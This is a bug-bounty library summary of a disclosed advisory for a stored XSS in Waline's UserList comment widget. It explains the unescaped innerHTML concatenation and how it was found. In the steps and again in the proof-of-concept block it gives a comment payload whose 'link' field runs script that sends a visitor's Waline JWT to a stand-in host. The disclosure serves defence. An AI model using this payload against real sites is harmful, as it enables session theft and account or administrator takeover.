# Waline: UserList stored XSS via unescaped commenter fields

Waline's UserList widget concatenates unescaped commenter nick/link into innerHTML, so an anonymous comment with a crafted link yields stored XSS for every widget viewer.

- Payout: Research
- Severity: high
- Program: Waline
- Found by: koyokr
- Disclosed: 2026-12-02
- CVE: CVE-2026-64671
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7w94-hxwm-gg99
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7w94-hxwm-gg99
- Tags: area:web domain:web impact:ato impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:xss

**Target:** npm @waline/client UserList widget rendering server-returned commenter fields
**Root cause:** UserList builds root.innerHTML by string-concatenating user.nick, user.link, user.avatar and user.label with no HTML escaping; the server stores and returns nick/link verbatim, sanitizing only the comment body.
**Steps:**
1. POST /api/comment as anonymous with `{"url":"/any-post","comment":"hi","nick":"a","link":"x\"><img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>"}`
2. Server stores link verbatim (no validation rule for nick/link) and returns it via formatCmt / user.js UserList response
3. Any page embedding the UserList widget concatenates link into root.innerHTML at userList.ts:106-133, breaking out of the href attribute and firing onerror for every visitor
**How found:** Code review of the client widget: noticed UserList (and recentComments) build innerHTML by concatenation, then traced server-side handling and found only comment.comment is sanitized while nick/link/url pass through verbatim; also noted recentComments is dead code because getRecentComment fails to unwrap .data, and that Akismet never inspects link, making it the reliable injection point.
**Exploitation:** Unauthenticated attacker posts one comment with a malicious link; the payload executes in the origin of every visitor loading a page with the UserList widget, no interaction needed. Against logged-in users/admins it reads the waline JWT from same-origin localStorage, enabling account/admin takeover; otherwise defacement, redirect, phishing, CSRF.
**Escalation:** Steal waline JWT from localStorage when an authenticated user or admin views the widget, escalating stored XSS to account or administrator takeover.
**Insight:** When a widget renders server data via innerHTML, check which fields the server actually sanitizes — here only the comment body was; also check which fields the spam filter inspects, since unfiltered fields like link survive default Akismet and give reliable injection even when nick is filtered.

## Proof of concept (copied exactly from the original report)

**POST /api/comment with XSS link payload**

```
POST /api/comment
{ "url": "/any-post", "comment": "hi", "nick": "a", "link": "x\"><img src=x onerror=fetch('//evil.example/'+JSON.parse(localStorage.WALINE_USER).token)>" }
```

